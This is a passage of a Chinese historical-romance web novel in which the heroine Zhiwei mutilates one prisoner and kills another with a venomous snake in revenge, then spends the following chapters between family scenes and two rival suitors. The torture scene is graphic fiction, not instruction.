知微态度还是冷冷的,“看样子她是不见棺材不落泪的,将她的嘴赌了,去地牢吧,叫她看看,她放在心尖上的孟婉儿到底是个什么东西。” 知微对着空气来了句,十三。 十三如鬼魅般飘来。 叫在场所有人包括高氏都吓了一跳。 这是,这是谁? 知微对她道,“通知朱知府审江婉儿,叫他们过去看!” “是!” 知微看向高淮安那被咬的鲜血直流的手,淡淡道,“大表哥去吧,不用顾忌谁的颜面,不属于自己的东西,合该扔了。” “娘,女儿饿了,想吃生煎包。” 母女的身影越来越远,知微又变成了那个惯会撒娇的女子。 高淮安兄妹对视一眼,高淮安点了点头,走吧,去府衙。 高雅若擦净脸上的泪,叫一旁的婆子扶着娘亲,自己要帮兄长包扎手上的伤口,却被高淮安拒绝了。 高淮安自嘲道,“不了,这是母亲亲口留给我的,很不容易呢。” 疼吗,疼的。只有疼,他才能看清楚想明白,哪些东西合该被舍弃。 “知微说的对,有些东西,该扔的就得扔,走吧。” 从江婉儿被娘亲接来的那一刻,仿佛娘亲所有的温柔,都给了她一人了。 高雅若跟在兄长身后低垂着眉眼不知想着什么,半晌,她嗯了一声,才紧跟上兄长的脚步,迎着朝阳,迈出了坚定的步子。 待知微吃饱喝足,慢慢悠悠的陪着娘亲散步,耳朵里听着娘亲不住的说过两日便回去的话,她忽然笑着趴到娘亲肩头道,“娘,您不觉得女儿狠辣?” 高氏却嗔怪的看看一眼,攥着她的手道,“狠辣什么,先撩者贱,有我和你爹呢,你尽管去做,别伤了自己就成,一会出去别回来太晚了啊!” “那个十三是安定侯的人吧?晚上娘来陪你一起住!狗东西!没完没了的,还在觊觎我女儿!” 两位舅舅一早便去了府衙,不光是为了江婉儿,还为了聂家的事情。 聂斐然一早拄着拐杖去报官,状告亲弟杀兄,听说已经审过一轮了,具体什么情况知微不知道,不听她能猜出来。 聂斐然想做什么她倒是清楚,就是以身犯险这点,她是不赞成的,希望他能得到他想要的结果。 不多时,一辆低调的马车载着知微和软磨硬泡非要跟着她一起的高淮阳驶离了高府。 知微白了二表哥一眼道,“我可不是去顽的啊,表兄别被吓尿了裤子。” 高淮阳点头,保证自己绝对不会拖她后腿,知微无所谓耸肩,真心希望他不会被吓到。 她知道,高淮阳这是被外祖下了任务,怕她受伤,来保护她呢。 地牢内还挺热闹的。 江婉儿已经将自己干过的缺德事都爆了出来,给高淮安饭食里下药,导致高淮安院试出事,偷拿高府的首饰拿去换银子,买通下人,故意装可怜散播高雅若姐妹流言,这种都是毛毛雨。 她竟然还利用孟氏倒卖书院入院的名额,属实是有些牛逼了。 至于对知微,她纯属嫉妒。 她对高家人都是怀着恨意的,平等的恨着每一个高家人,谁叫他们高高在上,对自己除了施舍,一点关心都不给呢。她沈知微一个残花败柳,不就有个当大官的爹吗,半路找回来的下贱之人,她就合该神不知鬼不觉的死去才好! “啧啧,可惜了了,没杀成呢。” 知微踱着轻快的步伐一步一步走进地牢,她今日打扮的珠光宝气的,满头都金钗步摇在烛火下熠熠生辉,深深刺痛着江婉儿的眼睛。 知微看了一圈,发现两位舅舅都在,除了知府,顾铭珏也是在的。 她白了那人一眼,哪都有你,瞎凑什么热闹! 顾铭珏却宠她挑眉笑笑,小没良心的,我这不是怕你受委屈,给你撑腰来了。 知微却已经撇过脸去,不再看他。 “本来想叫你痛痛快快的死的,可是大舅母非得污言秽语的说上那么几句,所以我只好叫你生不如死啦。” 孟氏已经见识到了江婉儿的真面目,一出地牢便被气到中了疯,神医只看了一眼道了句治不好便走了,留下孟氏四个孩子站在一旁手足无措。 总之,神医都说治不好,那便就真的治不好,一辈子嘴歪脸斜,腿脚不便,只能躺在床上过活了。 不过话又说回来,还活着呢,也算不错了。 这边厢知微围着江婉儿啧啧转了两圈,好叫她看清自己今日有多美,捂着嘴笑了笑,也没有废话,直接拿出了匕首,蹲在江婉儿身前,一刀一刀的直接刮花了她的脸。 江婉儿疼到想不顾一切张嘴骂人的时候,一张嘴,舌头变没了,满嘴猩红,半截舌头还掉在自己裙摆上,在脏污的白裙子上滚了滚,像开出了朵罂粟花似的,又美又毒。 江婉儿啊啊叫了几声,直接疼死过去。 知微撇嘴,对朱知府道,“您看到了,我可没杀她,她自己疼晕过去的,不怪我哦。” 她又笑着来了句,“不过应该没关系的,泼盆水她就能醒了。” 朱知府看着知微一边拿出帕子擦匕首,一边一脸无害的同他说话。”没忍住擦了擦额头上的汗。 还好,还好儿子的腿被他给打断了,要是落在这位手里,指不定糟多大的罪。 叫知微有些意外的是,两位舅舅竟很沉的住气,除了微微有些惊讶,对知微的做法竟然没有一人觉得不对,只看着她,眼中的愧疚多加了几分。 知微将匕首擦净,笑道,“还一个呢。” 她转头看到窝在角落抖若筛糠的女子,恍若大悟,“哦,在这呢。” 她蹲下,同她对视,在她的眼中看到了不甘愤怒以及害怕。 知微捧着脸对她道,“哎吆,告诉你个好消息,你那个弟弟,也下大牢了,聂斐然告的,就在隔壁呢,一会我差人将他送来跟你团聚啊,也好叫他照顾照顾你。” 说完抿着嘴,摇摇头,“不过他好像挨了不少板子,你俩还不知谁照顾谁呢,嘿嘿,啊,还得告诉你件事情,你爹娘啊,舌头也烂掉了,再也说不出话来了,啧啧,可惜了了,聂家那么大的产业,只能交给聂斐然来打理了,哎,那么多钱财都给旁人了,怎么样,惊不惊喜,意不意外?” 说完在聂倩儿吃惊怨毒的目光里站了起来,跺了跺有些蹲麻的脚道,“你说你,咱俩又不认识,非得跟我过不去,还有你那个爹,干嘛非掺合这些浑水啊,我爹和郑国公打擂台,有你爹什么事啊,可显着他了,小虾米而已,蹦跶什么,你瞧瞧,家破人亡了吧。” 在气死人这方面,知微是有些本事在的。 她瘪着嘴摇着头,小模样十分不赞成。 之后又抿着嘴笑了起来,那笑容和煦,眉眼弯弯的。 她解下腰间的口袋,兴奋的眨了眨眼睛,又退了两步,将口袋里的东西精准的扔在了聂倩儿的身上。 地牢昏暗的烛火下,只见一条通体翠绿的毒蛇正匍匐在身穿灰白衣裙的女子身上,女子挥动着手臂想将毒蛇挥走,她张大了黑洞洞的嘴巴想要大声呼喊,却发不出任何的声音,毒蛇却缠上了她得胳膊,爬上了她的脖颈,就那么一下便张大了嘴巴,咬住了女子,半晌,女子瞪大了眼睛,嘴唇青紫,没了声息。 知微点点头,毒性挺强,不错,她非常满意,便蹲下去想要抓毒蛇。 却见她还未伸出手来,那毒蛇被利刃给盯到了墙上,不多时便死了。 知微气急! “顾铭珏!你他妈想死啊!我好不容易才弄到的!” 第86章 知微愤怒的声音回荡在地牢内,叫冯三等人忍不住摸了摸脖子。 知微愤怒的声音回荡在地牢内,叫冯三等人忍不住摸了摸脖子。 这……敢这么跟侯爷说话的,也就只有沈二姑娘了。 冯三也觉得知微的转变甚大,和跟换了个人是的,初九却冷飕飕的看他一眼,人家从前是为了活着不得已而为妾,现在有了爹娘做靠山,那是肆意的生活,跟从前能一样吗? 顾铭珏却一点也不生气,只无奈的看着她道,“我是怕那东西伤到你。” 那一脸为了她好的模样叫知微非常便厌烦。 她也不跟他闹,径直拔下匕首,将死掉的蛇放到袋子里,狠狠的瞪了顾铭珏一眼,直接转身离开。 蛇毒是取不了了,蛇胆她总得取出来吧,她可花了大价钱才买到的,顾铭珏这个狗东西!总有一天老娘毒死他! 她的眉头皱的厉害,应是生气了。 顾铭珏摸了摸鼻子叹了口气,这小玩意儿脾气是越来越大了,他是越瞧越喜欢,怎么办,想将她关起来,身边只他一人才好。 围观了全程的朱知府恨不得捂上耳朵再自戳双目,这他妈的是他能看能听的吗! 尤其知微刚才那句沈大人同郑国公打擂台,他恨不得直接晕死过去! 叹了口气,他这仕途是到头了,这一个个的从哪冒出来的这么些爷啊可要了他的命了。 一行人终于出了地牢。 府上的下人一脸着急等在牢外,看高大舅出来,忙上前说了句什么,高大舅怔愣了片刻,着急上了马车。 临走时不忘嘱咐高小舅照顾好知微。 几人虽不知出了何事,但也知事情不小,便也决定赶紧回去。 只是知微在路过朱知府身边时,冷不丁的来了句,“知府大人,那江婉儿您可别叫她轻易死了啊,我改日还来找您顽。” 朱知府被她吓了一激灵,心说您这哪里是来找我顽啊您这是要我的命呢,他只不断点头保证,“您放心,下官定叫她活的好好的。” 知微冲他点头,笑眯眯道,“嗯,等我见了我爹,定替您美言几句。” “嗯,你爹爹来了,你要替谁美言几句?” 一声低沉的男音打断了知微的话。 知微一转身便见到了自己那位二品尚书令老爹,忙惊喜的扑倒来人怀里,高兴之情溢于言表,“爹爹!您怎么来了!” 之后便响起了此起彼伏问候的声音。 沈鸿朝众人微微点头,他轻拍着女儿的背,眼睛里满是自责和疼*爱,“爹要是再不来,你指不定要干什么大事呢。” 他将知微从怀里扯出来,细细打量,待看到知微袖口蹦上的点点血迹之后又沉了脸色,“怎的亲自动手?手酸不酸,累不累?衣裳都弄脏了。” 知微抿着嘴,讨好的笑笑,在亲爹责备的目光之下终于低下了头。 一旁的高淮阳无语望天,一个安定侯问小表妹打完人手疼不疼,一个亲爹问手酸不酸累不累,那叫一个纵容。 他刚才见小表妹那个狠厉的模样,吓的心脏差点跳出来,也不知小表妹到底经历了什么,但是,他觉得那些人就是罪有应得,小表妹干的漂亮!堪称女中豪杰! 知微挨了亲爹一顿数落后老实的上了马车。 沈鸿了解事情经过后,看了眼恭敬的现在他身前且已经汗流浃背的朱知府,沉声道,“如此,便通知那江婉儿家人来接她离开吧,也算是亲戚一场,小女也未受什么伤,不能叫她真死在牢里。” 沈鸿盯着朱知府半晌才开口,朱知府哆嗦着双腿忙恭敬道,“是是,下官这就吩咐下去,请沈大人放心。” 沈鸿点点头,微眯着眼望了地牢的大门一眼,这才转身上了马车。 不得不说。 姜还是老的辣。 沈大人安排事情,十分之周到妥帖。 没两日江婉儿便被其父给接了回去,只是没了她引以为傲的美貌和巧舌如簧的舌,她失去了所有与人抗争的手段。 在其继母和兄弟姐妹每日的“嘘寒问暖”之下,只一年便香消玉损了。 据说她死后其继母一直缠绵病榻,找了大师看后才说因她尚未成亲,死后怨气十足导致的家宅不宁,其父又做主给其配了冥婚,连尸首都被人给挖出来抬走了。 而另一边。 地牢内,顾铭珏撇了眼地上的垃圾,淡定吩咐手下处理干净,自己则是慢悠悠的走向另一处更加偏僻昏暗的地牢,望着被吊在半空的犯人,冷笑一声,开始了今日份工作。 知微等人回到高府时,孟氏的病正好尘埃落定,梅神医一锤定音,没法治,治不好,大罗神仙也没办法了,下半生只能躺在床上度过了。 知微用力掐了自己一把,好压抑住自己不断上扬的唇角,但是她脸上的表情还是没收住,她看着同她一样竭力忍耐的高雅晴,二人一个对视,一起溜了出去。 二人倒是也没敢放肆的笑出来,只是拿帕子捂着嘴,一口气跑出了老远。 知微笑着问高雅晴道,“你怎的也如此讨厌大舅母?” 高雅晴撇嘴,生气道,“你都不知道我娘被大伯母气哭了多少次,明明自己大字不识一个吧,我大伯教她她还不乐意,说我大伯看不起她,一个书院院长夫人,大字不识一个,说出去谁信啊!她动不动就说我大伯轻视她,还说我姐他们不向着她娘家都是白眼狼,好赖不分!” 高雅晴越说越上头,“我们都是顾及家人的面子,不与她计较罢了,你都不知道她私底下多过分,我娘管着中馈,她今天这样,明天那样,可是给找了不少麻烦,气的我娘直接将管家权交给她,可她还可怜兮兮的说自己不是那个意思,说我娘是欺负她不识字,羞辱她!我大伯见她装可怜掉眼泪就跟灌了迷魂汤似的,就宠她就信她,我爹又听我大伯的,也就我娘!被她憋了这么多年!哼!这回可轮着她倒霉了吧!” 哦吼,知微了然,果然是自作孽不可活。 虽然高氏出了事,可沈鸿来这么大的事,还是要进行家宴的。 外祖父已经能坐下跟大家一起用膳了,虽用的清淡,但恢复的已十分不错。 众人兴致不高。 倒是知微不知是不是因为父亲来了,吃的倒津津有味,月痕小心伺候着,小姐今日心情极好,连饭都多用了半碗呢! 只是沈鸿一句,后日知微同妻子便启程返京这话如同平地惊雷,叫一桌的人惊的愣了片刻,一时没反应过来。 沈鸿也未说别的,只言明他有公务在身会在青州待些时日,顺便扫视了两眼桌上的小辈,挨个点了名,叫他们全都跟着去京都。 但是高大舅还是有些迟疑的,长子明年是要参加的春闱的,去就去了,可女儿和两个小儿子都去,妻子刚生病,定是会多想的。 外祖父同沈鸿对视一眼,沈鸿微点头,外祖父一锤定音,所有的小辈都跟着去,见见世面也好。 外祖母看这情况知晓沈鸿定有原因,便安抚起大儿子,“孟氏的病不是一日两日就能好转的,家里这么多下人,也无需几个孩子照顾,你妹夫有他的顾虑,你便不要再纠结了。” 高大舅的四个孩子,除了高雅若对母亲有些担忧,其余的竟都十分兴奋。 尤其是双胞胎,出了膳厅就开始又蹦又跳,他们自小便被奶娘养着,跟孟氏的感情说不上多亲厚,孟氏整日悲春伤秋的,俩小子跟祖母见面的时候都比她多。 高淮安则是有种松了口气的感觉,终于要走出去了吗。 他见有些颓丧的妹妹,揉了揉她的头顶道,“人若是活的自私一些,会不会更加开心呢。” 高雅若半晌才反应过来,抬起了亮晶晶的眸子,狠狠点头,好! 晚膳过后,高氏非要跟知微回去,晚上陪知微过夜,爹爹来了,知微自是不能将娘亲抢了,她不动声色的跟高氏聊着天,将人往她自己院里带。 “娘,为何大舅母看起来疼江婉儿比疼自己孩子还多?” 高氏顿了半晌,看了看昏黄的天空,夕阳西下,开始回忆往事。 她撇撇嘴道,“她啊,那是觉得对不住她妹妹呢。她自小疼她小妹就跟疼眼珠子似的,不光是她小妹,她是老大,对他那个弟弟也是如此。” “她弟弟前些年好不容易中了举人,求到你爹跟前,被你爹给弄到稍远的地方做官去了,至于她妹妹。” 高氏叹了口气,“你大舅舅的婚事,算是被携恩图报了,孟氏一个农女,其祖父上山砍柴时救了当时不小心掉进陷阱的你外祖父,你外祖父感激万分,给他们留了不少银钱并将身上的玉珏留下,算是信物,叫他们有事可以去来找他,可是啊,某一日孟氏带着妹妹真的找上门来,拿着玉珏,说她们姐妹定要嫁给你两位舅舅。” 高氏眼神轻蔑,“你外祖母自是不同意你两位舅舅娶她们的,但是你外祖却是不忍心,毕竟人家确实是救了他的命,只是在你外祖母的强烈抗议之下,只定了你大舅舅同孟氏的婚事,这事也是怨你大舅舅,他同那孟氏看对眼了,死活非要娶人家。但是你小舅可没看中那小孟氏,不过后来你外祖父也给孟氏的妹妹也介绍了一门不错的婚事。” “那人你外祖父的学生,是个秀才,家中也是个富户,只是,小孟氏在婚后只生了江婉儿一个后便再无所出,其丈夫和婆婆日渐不满,对她开始打骂,后来小孟氏去后其丈夫很快娶了续弦。你大舅母跟脑袋有病似的,她妹妹死后没几日便将江婉儿接来了。她内心一直愤愤不平,一直觉得是咱们家欠她们的,要是你小舅也娶了江婉儿她娘,兴许就不会死,呵,所以连带自己四个孩子,都甚少关心。对待江婉儿倒是跟眼珠子似的。” “她那个弟弟要不是被你爹给调到外地做官,这高家,指不定没多少东西呢,亏得你外祖还在。” “她也不想想,换到旁的人家,她们姐妹现在还在山里刨土呢!不心存感激就罢了!整日没事找事!” 知微点点头,哦,明白了,孟氏一整个就是自以为是自私自利心比针尖的偏执狂。 “大舅母和江婉儿倒真的是一脉相承,嘿嘿,她和大舅舅也是真爱了,听她中风,我大舅舅眼圈都红了。” 娘亲白了她一眼,“几十年的感情呢,你大舅要是没什么反应那得多吓人,你以为这四个孩子哪里来的,不都是他们感情的见证?” 知微抿着嘴,一脸坏笑,“嘿嘿,娘,我爹定在着急的往这来,肯定想您想的不行,您就别跟我在这耗了,赶快去见我爹去吧。” 高氏被女儿说红了脸,她拍了女儿的胳膊,生气道,“胡说什么呢,娘今晚上定是要陪你的,娘不放心。” 知微边说边将她往她的院子推着走,“哎呀娘,我爹一来,那些牛鬼蛇神的哪个还敢动弹?您赶紧去洗洗啊,那个,嘿嘿,小别胜新婚。” 高氏被她说的面红耳赤的,怒瞪女儿想要打她两下知微却一个闪身跑掉了,高氏被丁嬷嬷给哄了进去,她已经备好了热水,就等夫人回来了。 丁嬷嬷一张脸笑的跟菊花似的,二姑娘如今活泼多了,真好。 是夜。 一翻云雨过后,沈父将妻子揽在怀中,轻抚着她柔嫩的脊背,高氏趴在他肩头叹了口气,“斐然这孩子,当真是可惜了,我还想着,他和知微。” 沈鸿打断了他,“可惜什么,福祸相依,斐然如今掌控了聂家,是好事,只是他和知微嘛。” 沈鸿摇摇头,对妻子柔声道,“斐然太弱了些,跟咱们女儿并不相配。” 他咳嗽两声,小心观察妻子的神色,又道,“夫人觉得,那宋言澈如何?” 高氏心里在想为何斐然同知微不相配,听到他提起宋言澈,皱了皱眉,回忆起来,“你是说,知微从前的邻居?” “那叫青梅竹马,什么邻居,太见外了些。” 高氏直起了身子,抿着嘴看着丈夫,“你的意思是,你看中了宋言澈?宋言澈相配,斐然不相配!你觉得我们斐然不及他?” 沈鸿忙不迭安抚妻子,讨好的将人揽进怀里,“不是不及他,是他的能力,远在斐然之上,这些日子我也在细细观察,他无父无母,相貌出挑,人品不错,对咱们女儿更是用尽了心思,主要是陛下言他可堪大用,若是有朝一日他立了大功,向陛下求娶知微,陛下兴许是能同意的。” 原来如此,沈鸿将宋言澈遣来巡视堤坝的目的,在这呢。 沈鸿叹了口气,“知蕴同三皇子年底大婚,我就怕陛下一时兴起,再提起知微的婚事。” 高氏这才明白过来,“你的意思是,他兴许能同安定侯争上一争?” 沈鸿点头。 高氏张了张嘴,“那,那确实也还不错,他如今也在青州?” 沈鸿,“他此时正在郊外,我是想叫他二人再接触接触的,夫人,不若明日叫知微替为夫去给宋言澈送些衣物?也算是体恤下属了。” 高氏没好气的看着自己丈夫,哼了一声,还有这种将自己女儿往外推的爹! 第87章   这一早晨,知微都跟脱了缰的小马似的,来回奔跑。她这一夜 这一早晨,知微都跟脱了缰的小马似的,来回奔跑。 她这一夜睡的极好。 睡前叫了十三两声,发现十三并不在,知微心知应该是她爹的到来起了作用,叫顾铭珏不敢轻易妄动。 晨起后她便吩咐众人收拾行李,自己则是找娘亲用膳去了。 爹爹不在,一早便去了外祖父的院子。 知微陪娘亲用了早膳,看她娘亲欲言又止的,也没当回事,只以为娘亲是因为昨晚的事情害羞呢。 用完早膳她便去看了聂斐然,这人坐在轮椅上,一身白衣似雪,气质斐然气色佳,看不出一点受伤的样子。 他也在吩咐下人收拾东西,要回聂家去了。 知微点头,聂家那么大的家业,你作为当家人应当回去处理。 聂斐然笑着点头,“姑姑和姑丈一早便送来了几个护卫,你且放心,不会有事的。” 知微只笑笑不说话,心说我倒是真没担心,只要我爹出手,那必是没什么叫人不放心的地方。 之后聂斐然一直对着知微欲言又止的,知微索性说了几句便告辞了,聂斐然叫了几声也没将人留住,只静静的看着她的背影,不知在想些什么。 从聂斐然院子出来,知微正好遇到了沈爹。 沈爹给随从递了个眼色,随从会意,忙去取东西。 沈爹看着漂亮女儿,心情愈发不错,笑道,“今日你出城,帮爹爹去办件事情可好?” 知微有些疑惑,却还是一口应承下来,拍着胸脯向爹爹道,“爹爹您只管说是何事,女儿保证完成任务!” 沈鸿点头,不动声色道,“你去郊外帮爹给小宋大人送样东西,不必着急,午后回来便可。” 知微,嗯…… “小宋大人?宋言澈?” 沈爹脸不红心不跳,点头。 知微抿着唇,“爹爹,女儿去送不合适吧?您叫下人送去吧。” 沈爹,“刚才是谁说保证完成任务的?” 知微,嗯…… 好吧是我。 她话都说出去了,硬着头皮接受了他爹的任务,不免思趁起爹爹的意思,心里竟然还有些小小的,期待? 她晃晃脑袋,疯了吗我在期待什么! 暗夜叫顺耳说都听见了啥。 顺耳怀疑是不是自己耳朵出了问题,“沈大人叫叶姨娘帮他给小宋大人送东西……” 暗夜啊的一声拍了拍脑袋,“坏了!” 一转眼就消失不见了。 徒留顺耳同十三你看看我我看看你,两脸惊讶。 顺耳,顾名思义,顺风耳,家传绝学,只要他想,其耳朵能听到两公里之外的声音。 因着沈鸿加强了守卫,十三和暗夜轻易不敢接近知微的屋子,只好叫顺耳过来,时不时偷听个谈话。 可以说顾铭珏在知微身上,连盗窃情报那一套都使上了,可谓是无所不用其极。 于是,知微的马车刚一出城便遇到了策马奔腾而至的安定侯。 一众护卫如临大敌,顾铭珏却只是在马车旁停顿了些许,望着车窗扬了扬唇角便先一步离开了。 因为马车并未停下,知微并不知他路过,正在车厢内同高雅晴说话。 高雅晴始终是没按耐住自己的好奇心,问道,“小表姐,那聂倩儿现下可被关起来了?” 知微磕着瓜子正津津有味的看着话本子,闻言将话本子扔到一旁,笑道,“怎么,你兄长回去没告诉你?” 高雅晴撅着嘴,头晃的跟拨浪鼓似的,“他说小孩子家家的,不能听,没告诉我,表姐你就告诉我嘛。” 她扯着知微的胳膊就开始晃,俨然是知微惯用的伎俩。 知微投降,好好,将瓜子扔到盘子里,接过月痕递过来的茶水一口饮尽,清了清嗓子道,“她自是被抓了起来,杀人虽未遂,却也是要牢底坐穿的,只是。” 她见高雅晴瞪大了眼睛,“只是嘛,我给她牢里放了条蛇,也叫她尝尝被蛇咬的滋味,以其人之道还治其人之身罢了。” 嗯,然后她就被蛇咬死了。 这句话知微没说。 高雅晴就是个被宠大的天真无邪的孩子,还是不要叫她知道的好。 听说这孩子已经吃了两日的安神药了,说出来再被她吓着怎么办。 “好了,一会去京郊送完东西咱们就回,表姐请客,你想想有没有想带去京里的东西,表姐全都给你买,这次你们应该会多住些时日,多买一些,总能用到的。” 一听到购物,高雅晴眼睛都亮了起来,也不纠结高雅晴和江婉儿的下场了,都是无关紧要的人,死了还能咋的。 适才知微拿到爹爹给的包裹后,摸着头转了两圈,还是决定带个人一起去,于是就抓到了无所事事的高雅晴,几句话便哄的高雅晴跟她上了马车。 待问清知微要去做何,高雅晴那叫一个后悔啊,不过已经上了马车,便也没有再下去的道理,只当是去郊外转上一转,小表姐送东西的时候,她走开便是了。 从前她是站小表姐和斐然哥的,但是吧,发生了那件事之后,她觉得,斐然哥还是算了。 嗯……顾侯和小宋大人她觉得都不错,虽然不知表姐同顾侯之间到底发生了何事,但小宋大人更年轻更帅气。 罢了,还是叫表姐自己选。 青州地势低,北望大山,山下有一河流,直通黄河。 青州百年内从未发生过水灾,但就是因为这个原因,沈鸿才会更加重视这个问题。 没发生过,不代表不会发生。 他一路带着能人异士夜观天象,只在青州附近发现了异样,但是有何怪异,异士又说不上来。 这也是沈鸿叫几个孩子跟着妻子一同返京的原因。 倘若真的出事,应对措施他也已想好,目前已赶往知府衙门,同众人商议。 这边厢,知微已经到了宋言澈忙碌的地方。 今日风平浪静,风和日丽,站在河边,看碧波荡漾,时而有凉风吹过,也算惬意。 高雅晴誓死不做电灯泡,带着丫鬟跑到一旁的山坡上采花去了,就是不知道这炎炎夏日采的什么花。 宋言澈就那么一回头,猝不及防的对上那双莹润的笑眼。 知微带着面纱,身着一席碧色长裙,悄然而至。 宋言澈怔愣了一瞬,紧走几步同她问好,目光灼灼的看向她,在看到她笑意盈盈的眼眸时,耳尖不自觉便红了。 这还是他们二人第一次这样单独相处。 宋言澈自然的接过月痕手中的伞帮她遮阳,两人并肩而行,“知,二姑娘怎的突然过来了?今日太阳甚大,别晒伤了。” 知微这才发现,宋言澈挺高的,自己堪堪高过他得肩头。 二人离的近,微风吹过,宋言澈能清晰的闻到知微身上淡淡的栀子花香。 知微笑道,“还不是我爹爹,非说你衣物带的不多,叫我给几件夏日清凉的衣物给你,他今日事忙,应该会晚些过来。” 宋言澈确实热,耳鬓和脖颈有些细微的汗水,里衣已经被汗水湿透,他自恃读书人的身份,一直穿着长衫,衣冠楚楚。 他点头,“还请二姑娘帮着谢过沈大人了。” 知微嗯了一声,便想开口回去了,只听宋言澈道,“前头山脚下有片池子荷花开的正盛,要不要一起去看看?再采上些新鲜莲子来吃,十分鲜嫩爽口。” 知微看着他柔和的侧脸,鬼使神差的,竟然直接点了头。 “只是,你要不要换身衣裳,你好像很热。” 宋言澈有些尴尬,他这哪是热的,分明是紧张的。 他停下,抬眸看着她认真道,“我去换身衣裳,你等我可好?” 知微却看着他认真的表情噗嗤一声笑了出来,“好,我等着你,不走便是,你去换吧,我去那坐着。” 她指了指茶棚,冲宋言澈道。 宋言澈将伞递给月痕,冲她点头,接过小厮手上的包裹,看了看她,这才大步走了。 知微摇摇头,心里有些暖暖的。 每次遇见宋言澈,她都是纠结的。 今日的她,和原主还有什么区别呢?她不知道。 她更像一个得利者,享受着原身父母的疼爱,亲人的关心,现在,又同原身的爱人牵扯不清。 叹了口气,不由自主的皱起了眉头,宋言澈喜欢的是原主,她做的是不是不对,现下她是不是应该赶紧离开? 只是还没等她纠结完,便见月痕冲着棚外叫了一声,侯爷。 知微这才发现,顾铭珏不知何时出现在棚外,沉着一张脸,定定的看着她。 知微只淡淡望了他一眼,便收回了视线。 顾铭珏却自顾自的走进,坐到她旁边,“怎的看起来不甚高兴?” 知微嗯了一声,却挑着眉道,“您日理万机的,怎的整日关心这种小事。” 顾铭珏只望着她,认真道,“于你,任何事都不是小事。” 知微听了直接笑出声来,笑容里还带着几分怅然,她抬眸看向他道,“您说您这是何必呢,都过去了,人吧,得向前看,学会放过,对你我都好。” 顾铭珏也笑开了,笑容酸涩,眼眸里带着懊悔,“不了,我放下不。” 知微撇撇嘴,有些无趣,刚起身,便听见身后急匆匆的脚步,来人径直挡在她身前,对顾铭珏淡声道,“不知侯爷大驾光临,有失远迎。” 顾铭珏轻嗤一声,“本侯想去哪便去了,倒是不用你欢迎。” 眼看二人又要杠起来,知微脸上的表情有些不耐。 她从宋言澈身后出来,淡淡开口,“要不你俩打一个?我看着,打吧。” 二人被她突出起来的言语给打断,表情一言难尽。 知微无语,叫打又不打了,两人掐什么掐。 她指着宋言澈对顾铭珏道,“他,我爹罩的,懂?” 也不管顾铭珏什么表情,对宋言澈道,“他,你打不过,懂?” 知微说的确实是实话,宋言澈不光是沈鸿罩的,皇帝面前也挂上号了,顾铭珏自是不能轻举妄动。 但当顾侯听知微说到宋言澈打不过自己的时候,朝宋言澈挑衅一笑,不自觉挺了挺胸脯。 知微也不愿意跟这二人掰扯,转身便朝月痕道,“叫马车过来,咱们走吧。” 月痕低着头不敢看知微,小声回道,“马车,都,都走了,老爷吩咐他们,叫您用完午膳再来接您……” 知微听了一口气没上来,沈爹这是什么骚操作! 她深呼吸,试图叫自己冷静下来,而后头的宋言澈则是扬起了唇角,顾铭珏倒是对沈鸿如此撮合一点也不生气,他也在呢,还能叫他宋言澈占了便宜? 想的美! 第88章 被亲爹给算计到了。知微气的直咬牙,深吸口气,扯了个僵硬 被亲爹给算计到了。 知微气的直咬牙,深吸口气,扯了个僵硬的笑,“好,那便在这用了午膳再回吧。” 她转过身对着宋言澈道,“那就麻烦宋大人了。” 宋言澈嗯了一声,心里不免琢磨起来,师母也同意了?那他也算是过了明路,实乃前进了一大步。 他心里高兴非常,面上不显,小心上前道,“那,那我先带你去采些莲蓬吧,顺便逛逛,去农家买些时蔬。” 宋言澈回想着沈鸿对他的嘱咐,迅速调整好情绪,又变回了那个稳重的男子。 知微抿着嘴,无所谓似的嗯了一声。 宋言澈笑容和煦的便要接过月痕手中的伞。 却见一双大手已经接过,稳稳的撑着,挑眉道,“那就有劳宋大人引路了。” 知微撇了眼顾铭珏,你不走? 顾铭珏挑眉,你不走我也不走。 知微闭了闭眼,懒得搭理两人,自顾自的走了。 二人一左一右忙跟上。 稳重的宋大人一秒破功。 这个一会这个说那边风景不错,那个说想吃你做的面了,一会这个问午膳可有想吃的,一会那个说知微做的他都想吃。 一路逼逼叨叨,知微忍无可忍,“你俩一个侯爷,一个皇差,怎么着,今日是被下了药了?能不能正常些?好好说话不行?” 顾铭珏冷哼一声,傲娇道,“我只对你这样。” 又拿眼斜睨宋言澈道,“只是听说别个来之前还跟礼部尚书嫡女不清不楚呢。” 宋言澈也不生气,认真对知微道,“宋某来时已经拒绝了王小姐,告诉她宋某有心上人,且好事将近。” “我对心爱之人,定会像老师和师母一样,一生一世一双人,万不会生出什么庶子庶女的。” 得了,那边揭短这边直接表白,表白完还顺便揭个短,眼看就又掐起来了。 在这里插一句,因着宋言澈能力不俗,皇帝有意培养,沈鸿在皇帝的授意下收了宋言澈这个学生,故宋大人叫沈爹一声老师是没毛病的。 月痕不远不近的跟着,一张脸都快笑烂了,还得是老爷有办法,就这种情景,在京里是万万见不到的。 回去她可得如实禀告。 她就愿意看男子为了小姐争宠! 说是山脚下,其实离的也并不远,穿过一片竹林也便到了。 远远的便听见一片吵嚷之声,原是一个汉子下水抓上来一条大鲤鱼,好家伙,有五六斤呢。 听着周围七嘴八舌,有水性好的跃跃欲试,也想下水去搞一条。 顾铭珏见知微看到大鱼后发亮的眼睛,伸手便开始解外袍,待知微发现的时候,这人已经光了膀子,衣裳扔了一地。 知微见众人都望向他们,转身一看忙问道,“你干嘛呀这是,赶紧将衣裳穿上,大庭广众的丢不丢人。” 却见顾铭珏拍了拍胸脯,露出小麦色的坚硬胸膛,靴子一甩道,我抓鱼给你吃,说完便扑通一声跳下水去。 知微还是头一次在阳光下见顾铭珏没穿上衣呢,那肌肉,那线条,那,咳。 不免惊艳了一瞬,眼睛不自觉多看了两眼,再反应过来的时候这人已经跳下去了…… 不是,也不想想自己多大年纪了,淹死得了。 宋言澈不是没看到知微那瞟向顾铭珏上半身的眼睛,他抿了抿唇,思趁要不要自己也下个水。 他摸摸自己的小腹,也是有腹肌的,他好像太白了些,嗯…… 不若他脱了上衣在太阳底下暴晒几日? 知微见他手摩挲着自己的前襟,被逗笑了,道,“你就拉倒吧,明明是个旱鸭子,以前咱们家附近可没有地方叫你学游水。” 说完知微便愣了愣,尴尬的别过了脸去。 宋言澈眼睛亮了亮,嗯了一声,看了看水里的顾铭珏,道,“那,咱们去采莲蓬可好。” 知微看了眼水里起起伏伏的身影,点了点头,二人走向不远处开的正艳的荷花塘。 二人随意折了几支便听湖上传来顾铭珏的声音,“知微!大鱼!我抓到了!” 